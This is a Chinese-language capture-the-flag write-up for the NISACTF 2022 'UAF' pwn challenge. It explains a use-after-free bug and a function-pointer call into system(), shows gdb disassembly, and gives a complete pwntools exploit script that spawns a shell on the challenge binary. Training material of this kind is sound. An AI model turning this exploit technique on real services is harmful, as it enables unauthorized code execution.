这道题考察UAF和系统调用,最后拿shell耗费时间比构造UAF时间长;
存在system()函数,但需要自己传参
本题存在4个函数,其中create函数每次开辟一个下标递增的page,edit函数可以修改指定page,del函数删除指定page,但free后没有将指针置NULL,存在UAF;
而show函数则是本题关键
当输入为非0时,展示输入指向的page,而当输入为0时,则执行page0处指令
所以我们可以先create 1次生成page0,del后再create 1次生成page1,但此时page1使用的仍然时page0的堆空间,所以edit page1时等效于edit page0,最后show(0)即可;
不过最后拿shell的路程还真是绕,此题存在NICO
函数可以调用system(command)
,
gdb调试发现最后调用system是通过call eax调用的
0x8048984 <show+60> mov eax, dword ptr [page] <0x804a060>
0x8048989 <show+65> mov eax, dword ptr [eax + 4]
0x804898c <show+68> mov edx, dword ptr [page] <0x804a060>
0x8048992 <show+74> sub esp, 0xc
0x8048995 <show+77> push edx
0x8048996 <show+78> call eax
但是eax的值最后指向[page+0x4]处,意味着最后payload构造需要在system_addr前加上0x4的偏移
如下图,这是不加偏移的结果:
可以构造初步的payload:
payload=cyclic(0x4)+p32(NICO_addr)
加上偏移后还需考虑系统调用传参的问题,本题不能直接加上偏移就完事了,否则又会如下图:
可以看出0x4的偏移作为command传进system,所以需要修改payload为:
payload=b"sh\x00\x00"+p32(NICO_addr)
所以最后exp:
from pwn import *
context(log_level='debug',os='linux',arch='x86',terminal=['tmux','splitw','-h'])
io=process("./[NISACTF 2022]UAF")
# io=remote("1.14.71.254",28767)
NICO_addr=0x8048642
def create():
io.recvuntil(b":")
io.sendline(b"1")
def edit(num):
io.recvuntil(b":")
io.sendline(b"2")
io.recvuntil(b"page\n")
io.sendline(str(num))
io.recvuntil(b"strings\n")
def dele(num):
io.recvuntil(b":")
io.sendline(b"3")
io.recvuntil(b"page\n")
io.sendline(str(num))
def show(num):
io.recvuntil(b":")
io.sendline(b"4")
io.recvuntil(b"page\n")
io.sendline(str(num))
create()
dele(0)
create()
edit(1)
gdb.attach(io)
pause()
payload=b"sh\x00\x00"+p32(NICO_addr)
io.sendline(payload)
show(0)
io.interactive()